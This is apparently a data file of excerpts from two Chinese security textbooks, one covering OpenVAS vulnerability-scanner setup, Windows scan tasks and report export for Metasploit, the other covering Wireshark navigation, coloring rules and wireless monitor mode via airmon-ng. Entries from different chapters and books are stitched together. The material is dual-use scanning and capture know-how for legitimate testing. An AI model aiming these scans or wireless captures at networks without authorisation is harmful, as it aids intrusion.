OK: OpenVAS Manager is present in version 7.0.3. OK: OpenVAS Manager database found in /var/lib/openvas/mgr/tasks.db. OK: Access rights for the OpenVAS Manager database are correct. OK: sqlite3 found, extended checks of the OpenVAS Manager installation enabled. OK: OpenVAS Manager database is at revision 184. OK: OpenVAS Manager expects database at revision 184. OK: Database schema is up to date. OK: OpenVAS Manager database contains information about 52034 NVTs. OK: At least one user exists. OK: OpenVAS SCAP database found in /var/lib/openvas/scap-data/ scap.db. OK: OpenVAS CERT database found in /var/lib/openvas/cert-data/ cert.db. OK: xsltproc found. Step 3: Checking user configuration ... WARNING: Your password policy is empty. SUGGEST: Edit the /etc/openvas/pwpolicy.conf file to set a password policy. Step 4: Checking Greenbone Security Assistant (GSA) ... OK: Greenbone Security Assistant is present in version 7.0.3. OK: Your OpenVAS certificate infrastructure passed validation. Step 5: Checking OpenVAS CLI ... OK: OpenVAS CLI version 1.4.5. Step 6: Checking Greenbone Security Desktop (GSD) ... SKIP: Skipping check for Greenbone Security Desktop. Step 7: Checking if OpenVAS services are up and running ... OK: netstat found, extended checks of the OpenVAS services enabled. OK: OpenVAS Scanner is running and listening on a Unix domain socket. WARNING: OpenVAS Manager is running and listening only on the local interface. This means that you will not be able to access the OpenVAS Manager from the outside using GSD or OpenVAS CLI. SUGGEST: Ensure that OpenVAS Manager listens on all interfaces unless you want a local service only. OK: Greenbone Security Assistant is listening on port 80, which is the default port. Step 8: Checking nmap installation ... WARNING: Your version of nmap is not fully supported: 7.70 SUGGEST: You should install nmap 5.51 if you plan to use the nmap NSE NVTs. Step 10: Checking presence of optional tools ... OK: pdflatex found. OK: PDF generation successful. The PDF report format is likely to work. OK: ssh-keygen found, LSC credential generation for GNU/Linux targets is likely to work. WARNING: Could not find rpm binary, LSC credential package generation for RPM and DEB based targets will not work. SUGGEST: Install rpm. WARNING: Could not find makensis binary, LSC credential package generation for Microsoft Windows targets will not work. SUGGEST: Install nsis. It seems like your OpenVAS-9 installation is OK. #安装成功 If you think it is not OK, please report your observation and help us to improve this check routine: http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss Please attach the log-file (/tmp/openvas-check-setup.log) to help us analyze the problem. 从以上输出信息中可以看到，以上过程进行了十步检查。"},
    {"text": "未知 5.3.2 登录OpenVAS服务 OpenVAS服务默认监听的地址为127.0.0.1，即只允许本地访问。为了使用户可以在任意客户端都能访问该服务器，用户只需要简单配置，修改监听的IP地址。这里需要修改3个配置文件中监听的IP地址，由127.0.0.1修改为0.0.0.0（所有IP）。然后重新启动OpenVAS服务，即可在任意客户端登录该服务器。 1.设置外部访问 【实例5-9】 设置外部访问。具体操作步骤如下： （1）查看OpenVAS服务的监听地址及端口。执行命令如下： root@daxueba:~# netstat -anptul Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:9390 0.0.0.0:* LISTEN 10617/openvasmd tcp 0 0 127.0.0.1:9392 0.0.0.0:* LISTEN 10639/gsad tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN 10643/gsad 从输出的信息中可以看到，监听了OpenVAS服务的3个端口，分别是9390（openvasmd）、80（gsad）和9392（gsad）。监听的IP地址为127.0.0.1，即只能本机访问该服务器。 （2）修改greenbone-security-assistant.service配置文件。在该配置文件中有两处需要修改。第一处是修改--listen和--mlisten的监听地址；第二处是增加host头主机地址。这里首先设置监听的地址为任意IP（0.0.0.0）。执行命令如下： root@daxueba:~# vi /usr/lib/systemd/system/greenbone-security-assistant. service [Service] Type=simple PIDFile=/var/run/gsad.pid ExecStart=/usr/sbin/gsad --foreground --listen=0.0.0.0 --port=9392 --mlisten= 0.0.0.0 --mport=9390 （3）增加host头主机地址。如果不增加host头主机地址，外部访问将会出现以下错误提示： The request contained an unknown or invalid Host header. If you are trying to access GSA via its hostname or a proxy, make sure GSA is set up to allow it. 在“--mlisten=0.0.0.0”后增加“--allow-header-host=IP地址或域名”。其中，本机的IP地址为192.168.1.5，即外部访问的IP地址为192.168.1.5。执行命令如下： ExecStart=/usr/sbin/gsad --foreground --listen=0.0.0.0 --port=9392 --mlisten= 0.0.0.0 --allow-header-host=192.168.1.5 --mport=9390 （4）修改openvas-manager配置文件中监听的地址。执行命令如下： root@daxueba:~# vi /etc/default/openvas-manager # The address the OpenVAS Manager will listen on. MANAGER_ADDRESS=0.0.0.0 （5）修改greenbone-security-assistant配置文件中监听的地址。该文件共有两处需要修改，分别是GSA_ADDRESS和MANAGER_ADDRESS。执行命令如下： daxueba:~# vi /etc/default/greenbone-security-assistant # The address the Greenbone Security Assistant will listen on. GSA_ADDRESS=0.0.0.0 # The address the OpenVAS Manager is listening on. MANAGER_ADDRESS=0.0.0.0 （6）重新启动OpenVAS服务。执行命令如下： root@daxueba:~# openvas-stop #停止OpenVAS服务 root@daxueba:~# openvas-start #启动OpenVAS服务 执行以上命令后，OpenVAS服务重新启动成功。此时查看监听的状态，结果如下： root@daxueba:~# netstat -anputl Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:9390 0.0.0.0:* LISTEN 13478/openvasmd tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 13477/gsad tcp 0 0 0.0.0.0:9392 0.0.0.0:* LISTEN 13475/gsad 从输出的结果可以看到，gsad程序监听的地址为0.0.0.0。此时，局域网中的其他主机都可以访问OpenVAS服务了。 2.登录OpenVAS服务 【实例5-10】 登录OpenVAS服务。具体操作步骤如下： （1）在浏览器中输入地址https:/IP:9392（“IP”为用户自己的IP地址），将显示如图5.52所示的界面。 图5.52 连接不安全 （2）该界面提示连接不安全。这是因为该连接是HTTPS协议，所以需要安全认证。单击Advanced按钮，将显示安全认证信息，如图5.53所示。 （3）该界面中显示为安全认证的风险信息。此时，单击Add Exception按钮，将显示添加安全例外对话框，如图5.54所示。 图5.53 安全证书信息 图5.54 添加安全例外 （4）单击Confirm Security Exception按钮，将显示OpenVAS的登录界面，如图5.55所示。 （5）在该界面中输入默认创建的用户名和设置的密码。然后单击Login按钮，即可成功登录该服务器，如图5.56所示。 图5.55 登录对话框 图5.56 OpenVAS主界面 （6）看到该界面，则表示已经成功登录到OpenVAS服务器了。接下来，用户就可以使用该服务器扫描漏洞了。"},
    {"text": "未知 5.3.3 定制Windows扫描任务 使用OpenVAS程序实施漏洞扫描之前，用户需要创建扫描配置、扫描目标和扫描任务。 为了方便对Windows系统实施漏洞扫描，下面将定制Windows扫描任务。 1.创建扫描配置 扫描配置就是用来指定扫描目标时使用的漏洞插件。 扫描任务是由一个扫描配置和一个扫描目标组成的。 所以用户在实施扫描时，必须创建扫描配置和扫描任务。"},
    {"text": "为了提供扫描效率，这里将创建一个针对Windows系统的扫描配置。 【实例5-11】 创建针对Windows系统的扫描配置。 具体操作步骤如下： （1）在菜单栏中，依次选择Configuration|Scan configs命令，将打开扫描配置列表，如图5.57所示。 图5.57 扫描配置列表 （2）从该界面中可以看到，默认提供了8个扫描配置模板，而且每个扫描配置都有对应的描述信息。"},
    {"text": "单击Create按钮，将弹出编辑扫描配置对话框，如图5.59所示。 图5.58 新建扫描配置 图5.59 编辑扫描配置 （4）在该对话框中，用户可以选择使用的扫描插件族。"},
    {"text": "用户单击Actions列中的按钮 ，即可打开编辑扫描配置NVT对话框中，如图5.61所示。 图5.60 选择插件族中的插件 图5.61 编辑扫描配置NVT （6）该对话框中显示的是插件的详细信息，如摘要信息、漏洞级别。"},
    {"text": "如果希望使用默认设置，则单击Save按钮，即扫描配置创建成功，如图5.62所示。 图5.62 扫描配置创建成功 （7）从图5.62中可以看到，成功创建了名为Windows Scan的扫描配置。 2.创建扫描目标 当用户创建好扫描配置后，即可使用该扫描配置来创建对应的扫描目标。 【实例5-12】 创建扫描目标。"},
    {"text": "单击新建目标按钮，将打开新建目标对话框，如图5.64所示。 图5.64 新建目标 （3）在该对话框中，设置目标名称、目标主机地址、端口列表和认证信息等。"},
    {"text": "单击SMB下拉列表框右侧的按钮 ，将打开新建认证对话框，如图5.65所示。 图5.65 新建认证 （4）在该对话框中指定认证名称、注释和类型等。 设置完成后，单击Create按钮，返回到新建目标界面，即可看到新建的SMB认证信息。"},
    {"text": "然后单击Create按钮，即可成功创建扫描目标，如图5.66所示。 图5.66 扫描目标创建成功 （5）从该界面可以看到，已经成功创建了名称为Windows XP的扫描目标。 3.创建扫描任务 当用户将扫描配置和扫描目标准备好后，就可以创建对应的扫描任务了。 下面将以前面创建的扫描配置和扫描目标为例，来创建对应的扫描任务。 【实例5-13】 创建扫描任务。"},
    {"text": "此时单击新建任务按钮 ，将打开新建任务对话框，如图5.69所示。 图5.68 扫描任务列表 图5.69 新建扫描任务 （4）在该对话框中设置任务名称、扫描配置和扫描目标等。"},
    {"text": "然后单击Create按钮，扫描任务创建成功，如图5.70所示。 图5.70 扫描任务创建成功 （5）从该界面可以看到，成功创建了名为Windows XP的扫描任务。"},
    {"text": "（5）从该界面中可以看到，默认值为No auto-refresh，表示不进行自动刷新。 单击No auto-refresh下拉列表框，即可看到可以设置自动刷新的时间，如图5.75所示。 图5.74 设置刷新 图5.75 设置自动刷新时间 （6）从下拉列表框中可以看到，其中提供了4个自动刷新的时间。"},
    {"text": "未知 5.3.4 分析扫描报告 当用户对目标扫描完成后，即可分析其扫描报告。下面将分析使用OpenVAS程序扫描出的漏洞报告。 【实例5-15】 分析扫描报告。具体操作步骤如下： （1）在菜单栏中依次选择Scans|Reports命令，将打开扫描报告列表，如图5.77所示。 图5.77 扫描报告 （2）从该界面中可以看到扫描报告的日期（Date）、Status（状态）、Task（扫描任务）和Severity（漏洞级别）。此时，单击该扫描报告的日期，将打开漏洞报告列表，如图5.78所示。 （3）从该界面中可以看到目标主机中存在的所有漏洞信息，如漏洞名称、漏洞级别、存在该漏洞的主机地址及对应的端口。其中，10.0（Hight）是最严重的漏洞，显示颜色为红色。用户还可以以不同方式，过滤显示扫描结果。单击Report前面的下拉按钮 ，即可展开其他显示扫描结果的过滤方式，如图5.79所示。 （4）从下拉列表框中可以看到所有过滤显示扫描报告的方式及对应的扫描结果数。其中，过滤的方式包括Summary and Download（摘要信息并下载）、Results（结果）、Vulnerabilities（漏洞）、Hosts（存在漏洞的主机数）、Ports（端口）、Applications（应用程序）、Operating Systems（操作系统）、CVEs（CVE漏洞）、Closed CVEs（关闭的CVE漏洞）、SSL Certificaties（SSL证书）和Error Messages（错误消息）。如果用户想要查看所有漏洞，则选择Report:Vulnerabilities (25)命令，即可显示所有的漏洞信息，如图5.80所示。 图5.78 漏洞报告列表 图5.79 过滤显示扫描报告的方式 图5.80 漏洞报告列表 （5）该界面中显示为目标主机中的所有漏洞列表。此时用户单击漏洞名称，即可查看漏洞详情，如图5.81所示。 图5.81 漏洞详细信息 （6）从该界面中可以看到Vulnerabilities in SMB Could Allow Remote Code Execution漏洞的详细信息，包括漏洞摘要、漏洞探测结果、漏洞影响、解决方法及受影响的操作系统等。通过对该漏洞信息的分析可知，受影响的操作系统有Windows 2000/XP/2003。攻击者利用该漏洞可以远程登录目标主机。 未知 5.3.5 生成扫描报告 OpenVAS程序也支持用户将扫描结果导出为不同格式的扫描报告。OpenVAS支持15种文件格式的报告，如PDF、XML、CXV、HTML和TXT等。用户同样可以将扫描报告导入到第三方工具Metasploit中，用来实施漏洞利用。下面将介绍生成扫描报告的方法。 【实例5-16】 生成XML格式的扫描报告。具体操作步骤如下： （1）打开漏洞扫描列表界面，如图5.82所示。 图5.82 漏洞扫描列表 （2）在该界面中单击下载按钮 ，即可下载报告文件。默认选择的是Anonymous XML格式。如果用户想要以其他格式导出的话，单击切换报告格式文本框中的下拉按钮 ，即可选择其他格式。然后单击下载按钮 ，即可将此次的扫描报告导出。这里选择报告文格式为XML，并单击下载按钮 ，将弹出保存报告文件的对话框，如图5.83所示。 图5.83 保存扫描报告 （3）在该界面中单击Save File单选按钮，并单击OK按钮，即可成功生成扫描报告。 未知 信息安全技术大讲堂 从实践中学习Windows渗透测试 大学霸IT达人 编著 ISBN：978-7-111-65698-2 本书纸版由机械工业出版社于2020年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @华章数媒 微信公众号 华章电子书（微信号：hzebook） Cover"},
    {"text": "未知 前言 网络日益普及的今天，每秒钟都有海量的数据在网络中进行传输。为了保证数据正确地从源地址发送到目标地址，不同人群为之努力工作。网络程序开发人员分析数据，确认数据正确生成和被处理；网络维护人员分析数据，确保数据的正确传输；网络安全人员分析数据，确保数据没有被截取或伪造。 Wireshark是一款业界知名的数据捕获和分析工具。它不仅支持几百种网络协议的解析，还提供了大量的分析功能，能满足不同用户的数据分析需求。同时，它提供了丰富的用户接口，允许用户以图形化和命令行等多种方式使用。 本书基于Wireshark 3，详细讲解了数据抓包和分析的相关技术。书中首先介绍了环境搭建、数据捕获、数据处理和数据呈现；然后详细介绍了数据分析的各种功能和应用技巧，如显示过滤器、分组分析和着色规则等；最后详细介绍了常见网络协议的数据分析方式，包含网络基础协议（ARP、DNS、DHCP）、数据传输协议（TCP、UDP）和高级应用协议（HTTP、SMTP/POP3、SMB）等。 本书有何特色 1.涵盖Wireshark常用分析功能 由于协议形式众多，使得数据分析是一项复杂度非常高的工作。为了方便用户分析，Wiresahrk提供了众多的分析功能。本书涵盖了其中常见的各种功能，如捕获过滤器、显示过滤器、专家意见、名称解析、分组标记、数据导出和分组跳转等。 2.内容实用，可操作性强 Wireshark提供的每个功能都来源于众多用户的建议，都具有极强的代表性和可操作性。为了方便读者学习和理解，书中介绍了约200个操作实例，用于辅助讲解各个知识点。 3.涵盖重要协议的数据分析 Wireshark数据分析的最终落脚点是协议，所以本书挑选了最为常见的网络协议数据包进行分析，如802.11、ARP、DHCP、DNS、TCP、UDP、HTTP、SMTP/POP3、SMB、TFTP、SCTP和FTP等协议的数据包。 4.环环相扣，逐步讲解 Wireshark数据分析是一个连贯和完整的过程，从环境准备、数据的获取和保存，到分析手段和具体协议分析，每个阶段环环相扣，逐步推进。本书按照这个顺序，逐层讲解了Wireshark数据分析的方式和技巧，以帮助读者最终掌握数据分析的技巧。 5.提供完善的技术支持和售后服务 本书提供了对应的QQ群（343867787）供大家交流和讨论学习中遇到的各种问题。同时，本书还提供了专门的售后服务邮箱 hzbook2017@163.com 。读者在阅读本书的过程中若有疑问，可以通过该邮箱获得帮助。 本书内容 第1章网络数据分析概述，主要介绍了网络数据的传输方式、OSI模型、TCP/IP协议族和Wireshark软件的获取和安装。 第2~4章为网络数据分析的基础，主要介绍了捕获数据、使用过滤器、存储数据、快速分析和数据呈现等内容。 第5、6章主要介绍了使用显示过滤器、名称解析、协议解析、数据包分组、分组注释、跳转分析和着色规则等各种数据分析技术。 第7、8章主要介绍了无线网络抓包和分析、WEP/WPA握手包数据分析、无线数据解密及ARP/DHCP/DNS数据分析。 第9~12章为网络应用协议分析，主要介绍了TCP数据分析、UDP数据分析、HTTP数据分析和SMTP/POP3/SMB/TFTP/SCTP/FTP数据分析。 附录A主要介绍了Wireshark自带的各种命令行工具，如文件查看工具capinfos、捕获工具dumpcap、编辑工具editcap，以及分析工具tshark与rawshark。 本书配套资源获取方式 本书涉及的工具和软件需要读者自行下载。下载途径有以下几种： ·根据书中对应章节给出的网址自行下载； ·加入技术讨论QQ群（343867787）获取； ·登录华章公司网站 www.hzbook.com ，在该网站上搜索到本书，然后单击“资料下载”按钮，即可在页面上找到“配书资源”下载链接。 本书内容更新文档获取方式 为了让本书内容紧跟技术的发展和软件更新，我们会对书中的相关内容进行不定期更新，并发布对应的电子文档。需要的读者可以加入QQ交流群（343867787）获取，也可以通过华章公司网站上的本书配套资源链接下载。 本书读者对象 ·网络安全和维护人员； ·渗透测试技术人员； ·信息安全技术爱好者； ·网络应用程序开发人员； ·计算机安全技术自学者； ·高校相关专业的学生； ·专业培训机构的学员。 本书阅读建议 ·Wireshark可以自动解析几百种网络协议。为了深入理解和学习网络协议，阅读本书时可以参考丛书中的《从实践中学习TCP/IP协议》分册。 ·学习阶段可在不同的网络环境下进行操作与练习，以了解各种网络环境下的数据传输特点和协议包构成的不同之处。 ·由于Wireshark会经常更新、增补不同的功能，所以学习时要定期更新工具，以获取更加稳定和强大的功能。 本书作者 本书由大学霸IT达人团队编写。感谢在本书编写和出版过程中给予笔者大量帮助的各位编辑！由于作者水平所限，加之写作时间较为仓促，书中可能还存在一些疏漏和不足之处，敬请各位读者批评指正。 编著者"},
    {"text": "未知 第1章 网络数据分析概述 网络中的不同设备为了实现通信，会不断发送数据。这些数据被称为网络数据。网络数据根据特定的协议，按照指定格式封包，然后进行传输。如果要对网络数据进行分析，则需要了解网络数据传输方式及使用的网络协议。在此基础上，用户借助Wireshark工具，可以快速捕获并分析网络数据包。本章将介绍网络数据分析的相关概念及Wireshark工具的安装方法。 未知 1.3.1 Wireshark的历史 Wireshark发展至今，最新的稳定版本为3.0.3。目前，Kali Linux中默认安装的版本是2.6.9。为了使用户对Wireshark的发展有一个清晰的认识，下面列举出2.6.X和3.0.X系列的版本，如表1.2所示。 表1.2 Wireshark系列版本 未知 6.7.1 顺序跳转 顺序跳转则表示按照抓包顺序依次跳转。用户可以选择跳转到下一分组、前一分组、首个分组和最新分组。下面将介绍具体的跳转方法。 1.跳转到下一分组 在分组列表中选择一分组，并在菜单栏依次选择“跳转”|“下一分组”命令，即可跳转到选择分组的下一分组。 【实例6-21】 从分组3跳转到分组4。 （1）在分组列表中选择分组3，如图6.65所示。 图6.65 选择的分组 （2）从分组详情中可以看到，当前选择了分组3。此时，在菜单栏依次选择“跳转”|“下一分组”命令，即可跳转到分组4，如图6.66所示。 图6.66 成功跳转到下一分组 （3）从分组详情中可以看到，已成功跳转到分组4。 2.跳转到前一分组 在分组列表中选择一分组，在菜单栏中依次选择“跳转”|“前一分组”命令，即可跳转到选择分组的前一分组。 3.跳转到首个分组 跳转到首个分组，则表示跳转到第一个分组。用户在菜单栏中，依次选择“跳转”|“首个分组”命令，即可跳转到首个分组。 【实例6-22】 从最后一个分组跳转到首个分组。 （1）在捕获文件中选择最后一个分组，如图6.67所示。 图6.67 选择的分组 （2）从分组详情中可以看到，目前选择了分组359。此时，在菜单栏依次选择“转”|“首个分组”命令，即可跳转到第一个分组，如图6.68所示。 （3）从分组详情中可以看到，已成功跳转到首个分组。 4.跳转到最新分组 跳转到最新分组实际就是跳转到最后一个分组。在菜单栏中依次选择“跳转”|“最新分组”命令，即可跳转到最新分组。 图6.68 成功跳转到首个分组 未知 6.7.2 指定跳转分组 用户还可以手动指定跳转到某个分组。例如，分析HTTP时，响应分组会提示请求的分组编号。根据该分组编号跳转，可以快速定位到对应的请求。在菜单栏依次选择“跳转”|“转至分组”命令，将弹出跳转到分组工具栏，如图6.69所示。 图6.69 跳转到分组工具栏 在工具栏的“分组”文本框中输入要跳转到的分组编号，并单击“转到分组”按钮，即可跳转到对应的分组。 【实例6-23】 跳转到分组200。 （1）在菜单栏依次选择“跳转”|“转至分组”命令，弹出转到分组工具栏，如图6.70所示。 图6.70 转到分组工具栏 （2）在“分组”文本框中输入200，并单击“转到分组”按钮，即可跳转到分组200，如图6.71所示。 图6.71 跳转至分组 （3）从分组详情中可以看到，成功跳转到分组200。 未知 6.7.3 对话内跳转 在数据包传输时，从请求开始到请求结束属于一个对话。一个会话可能包括多个分组。为了方便用户分析对话内的分组，可以在对话内进行分组跳转。 1.跳转到对话中的下一个分组 用户在捕获文件中选择一个分组，然后在菜单栏依次选择“跳转”|“对话中的下一个分组”命令，即可跳转到选择的分组所在对话中的下一个分组。 【实例6-24】 跳转到对话中的下一分组。 （1）在分组列表中选择一分组。例如选择分组148，如图6.72所示。 图6.72 选择的分组 （2）从分组详情中可以看到，当前选择了分组148。此时，在菜单栏依次选择“跳转”|“对话中的下一分组”命令，即可跳转到分组148所在对话中的下一分组，如图6.73所示。 （3）从分组详情中可以看到，成功跳转到分组157。 2.跳转到对话中的上一个分组 用户在捕获文件中选择一个分组，然后在菜单栏依次选择“跳转”|“对话中的上一个分组”命令，即可跳转到选择的分组所在对话中的上一个分组。 图6.73 跳转至对话中的下一个分组 未知 6.7.4 历史记录跳转 用户还可以按照查看分组的历史顺序进行跳转。在菜单栏依次选择“跳转”|“历史中的上一个分组”命令，将跳转到历史记录跳转的上一个分组。在菜单栏依次选择“跳转”|“历史中的下一个分组”命令，将跳转到历史记录跳转的下一个分组。 【实例6-25】 历史记录跳转。 （1）在菜单栏依次选择“跳转”|“历史中的上一个分组”命令，将跳转到历史记录跳转的上一个分组，如图6.74所示。 图6.74 跳转至历史中的上一个分组 （2）从分组详情中可以看到，成功跳转到历史记录分组157。此时，在菜单栏依次选择“跳转”|“历史中的下一个分组”命令，将跳转到历史记录跳转的下一个分组，如图6.75所示。 图6.75 跳转至历史中的下一个分组 （3）从分组详情中可以看到，成功跳转至历史中的下一个分组148。"},
    {"text": "未知 6.8 着色规则 着色规则是对数据包的一种显示方式。为了区分不同的分组，用户可以使用着色规则进行不同标记。在Wireshark中默认提供了一些着色规则，如果不能够满足用户的需求时，用户还可以自己添加着色规则。本节将介绍使用着色规则分析数据包的手段。 未知 6.8.1 启用着色规则 Wireshark默认已经启用了着色规则。如果没有启用，在菜单栏依次选择“视图”|“着色分组列表”命令，或单击工具栏中的着色规则按钮 ，即可启用着色规则。此外，用户使用同样的方法也可以关闭着色规则。 【实例6-26】 关闭着色规则。 （1）打开一个捕获文件，如图6.76所示。 图6.76 启用着色规则 （2）从分组列表中可以看到，所有的分组都用不同的颜色高亮显示。由此可以说明，已成功启用着色规则。此时，在菜单栏依次选择“视图”|“着色分组列表”命令，即可关闭着色规则，如图6.77所示。 图6.77 关闭着色规则 （3）从图6.77中可以看到，所有分组的颜色都一样。由此可以说明，成功关闭了着色规则。如果用户希望启用着色规则，单击工具栏中的着色规则按钮 即可。 未知 6.8.2 设置着色规则 Wireshark默认定义了一些着色规则。如果用户不想要使用默认的着色规则，或者为某些包自定义新的着色规则，可以自己设置。在菜单栏依次选择“视图”|“着色规则”命令，将打开“着色规则”对话框，如图6.78所示。 图6.78 “着色规则”对话框 从对话框中可以看到默认添加的所有着色规则。“名称”列表示着色规则的名称。其中，着色规则名称前的复选框是用来设置是否启用该着色规则。当勾选“名称”前面的复选框后，才表示启用该着色规则。“过滤器”列表示使用该着色规则匹配的数据包。 ·如果用户想要修改某着色规则，双击名称或过滤器列即可修改其内容。然后单击“前景”和“背景”按钮，即可修改前景和背景色。 ·如果用户想要添加新的着色规则，则单击增加着色规则按钮 。 ·如果想要删除某着色规则，首先选择要删除的着色规则，然后单击删除着色规则按钮 。 ·如果想要复制某着色规则，首先选择要复制的着色规则，然后单击复制着色规则按钮 。 ·如果想要删除所有着色规则，单击清除所有着色规则按钮 。 另外，在着色规则列表中，所有的规则是按照顺序进行处理，直到找到一个匹配的。如果用户想要先应用某个着色规则，可以通过拖曳来调整着色规则的位置。 【实例6-27】 添加一个名称为HTTPS，过滤器为http||tcp.port==443||http2的着色规则。具体操作步骤如下： （1）在“着色规则”对话框中，单击增加着色规则按钮 ，将显示如图6.79所示的界面。 图6.79 添加着色规则 （2）从该对话框的顶部可以看到，默认增加了一个名称为New coloring rule的着色规则。此时，双击名称列，设置着色规则名称为HTTPS；双击过滤器列，设置着色规则的过滤器为http||tcp.port==443||http2，如图6.80所示。 图6.80 添加的着色规则 （3）从图6.80所示的窗口中可以看到新增加的着色规则。该着色规则将使用默认的颜色。为了更方便识别数据包，用户也可以自己设置背景和前景色。首先选择新增加的着色规则，并依次单击“前景”和“背景”按钮，修改前景和背景色。然后勾选HTTPS前面的复选框启用该着色规则，如图6.81所示。 图6.81 设置着色规则的前景和背景色 （4）此时，新增加的着色规则就设置完成了。单击OK按钮即可应用新增加的着色规则，如图6.82所示。 图6.82 成功应用添加的着色规则 （5）从分组列表中可以看到，匹配着色规则过滤器的分组都已成功应用了其着色规则。由此可以说明，成功添加了着色规则。 未知 6.8.3 对话着色 对话着色可以将关联的分组统一着色。通过右击分组，将弹出一个快捷菜单，如图6.83所示。 图6.83 对话着色快捷菜单 选择要着色的协议层及颜色即可。从快捷菜单中可以看到，默认提供了10种颜色，而且还可以新建着色规则。用户选择某个颜色编号，即可应用对应的颜色。如果不想要使用默认的颜色，可以选择“新建着色规则”命令。 【实例6-28】 对UDP协议层数据包进行着色，使用默认的7号颜色。 （1）在分组列表中选择一个UDP包并右击，依次选择“对话着色”|UDP|“颜色7”命令，即可对所有UDP协议数据包应用该着色规则，如图6.84所示。 图6.84 对话着色 （2）从窗口右侧可以看到，所有的UDP协议包都已成功应用了7号颜色。 未知 第7章 无线网络抓包和分析 无线网络是现在常用的联网方式。相比传统的有线网络，无线网络具有信号公开传播、数据加密等特点，所以基于无线网络的抓包和分析也有很多不同之处。本章将介绍如何对无线网络数据包进行捕获和分析。 未知 7.1 软硬件需求 如果要捕获无线数据包，则必须要在Wireshark中安装对应的组件，而且还需要一块无线网卡。本节将介绍捕获无线数据包的软硬件需求。"},
    {"text": "未知 1.3.2 获取Wireshark软件 在大部分的操作系统中，默认没有安装Wireshark工具。所以，如果要使用该工具，就必须先安装。Wireshark工具的官网地址为 http://www.wireshark.org 。在浏览器中访问该地址，访问成功后将显示如图1.9所示的页面。 图1.9 Wireshark的官方网站 在该页面中，单击下载（Download）按钮 ，将进入下载页面，如图1.10所示。 图1.10 Wireshark的下载页面 从该页面可以看到，目前的版本为3.0.3。而且，可以看到提供的安装包格式有Windows、macOS和源代码。此时，用户可以根据自己的操作系统，选择下载对应架构的安装包。 未知 7.1.1 Wireshark组件需求 安装Wireshark时需要安装Npcap组件，而且在安装该组件的安装选项对话框中需要启用捕获802.11流量，如图7.1所示。 图7.1 Npcap安装选项对话框 从图7.1中可以看到，共有4个选项。每个选项的含义如下： ·Support loopback traffic(\"Npcap Loopback Adapter\"will be created)：支持捕获本地回环数据包。 ·Restrict Npcap driver's access to Administrators only：仅限制管理员可以访问Npcap驱动。 ·Support raw 802.11 traffic(and monitor mode)for wireless adapters：支持使用无线网卡捕获802.11流量，并且使用监听模式。 ·Install Npcap in WinPcap API-compatible Mode(WinPcap will be uninstalled)：在WinPcap API兼容模式下安装Npcap，将卸载WinPcap。 如果要捕获无线网络数据包，则必须勾选Support raw 802.11 traffic(and monitor mode)for wireless adapters选项。 未知 7.1.2 硬件需求 如果用户要捕获无线网络的数据包，则必须有一款无线网卡。而且，无线网卡的功率决定了捕获数据包的范围。如果无线网卡的功率大，则可以捕获到更大范围的数据包，而且捕获包的速率也快，并且还稳定。如果用户使用的无线网卡功率小的话，则可能只能捕获到附近的几个AP，而且还可能出现丢包的情况。 当用户在Linux系统中捕获无线数据包时，还需要系统支持其无线网卡。如果用户想要监听所有AP的数据包，则需要将无线网卡设置为监听模式。此时，需要无线网卡支持监听模式。在Kali Linux中支持监听模式的无线网卡如表7.1所示。 表7.1 Kali Linux中支持监听模式的无线网卡 未知 7.2 捕获数据 当用户将环境配置好后，就可以捕获无线数据包了。本节将介绍捕获无线数据包的方法。"},
    {"text": "未知 7.2.1 捕获数据包 捕获无线数据包时，需要设置无线网卡为监听模式。 在Windows系统中，可以使用网卡自带的监听模式功能来捕获无线数据包。 在Linux系统中，需要手动设置无线网卡为监听模式才可以捕获数据包。 下面分别介绍在Windows和Linux下捕获无线数据包的方法。 1.在Windows下捕获无线数据包 【实例7-1】 在Windows下捕获无线数据包。"},
    {"text": "执行命令如下： root@daxueba:~# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.80.129 netmask 255.255.255.0 broadcast 192.168.80.255 inet6 fe80::ed8e:7139:873a:9108 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:79:95:9e txqueuelen 1000 (Ethernet) RX packets 1375439 bytes 2010597748 (1.8 GiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 265713 bytes 17438329 (16.6 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 1388 bytes 102175 (99.7 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1388 bytes 102175 (99.7 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether 52:4f:e7:54:f6:27 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 从输出的信息可以看到，当前主机中存在3个网络接口，分别是eth0、lo和wlan0。"},
    {"text": "执行命令如下： root@daxueba:~# airmon-ng start wlan0 Found 3 processes that could cause trouble. Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode PID Name 1696 NetworkManager 1711 wpa_supplicant 49696 dhclient PHY Interface Driver Chipset phy3 wlan0 rt2800usb Ralink Technology, Corp. RT5370 (mac80211 monitor mode vif enabled for [phy3]wlan0 on [phy3] wlan0mon) (mac80211 station mode vif disabled for [phy3]wlan0) 从输出的信息可以看到，已成功将无线网络接口wlan0设置为监听模式。"},
    {"text": "（3）启动Wireshark，在接口列表中选择wlan0mon接口，如图7.4所示。 图7.4 选择无线网络接口 （4）双击接口wlan0mon，或者单击菜单栏中的开始捕获分组按钮 开始捕获数据包，如图7.5所示。"},
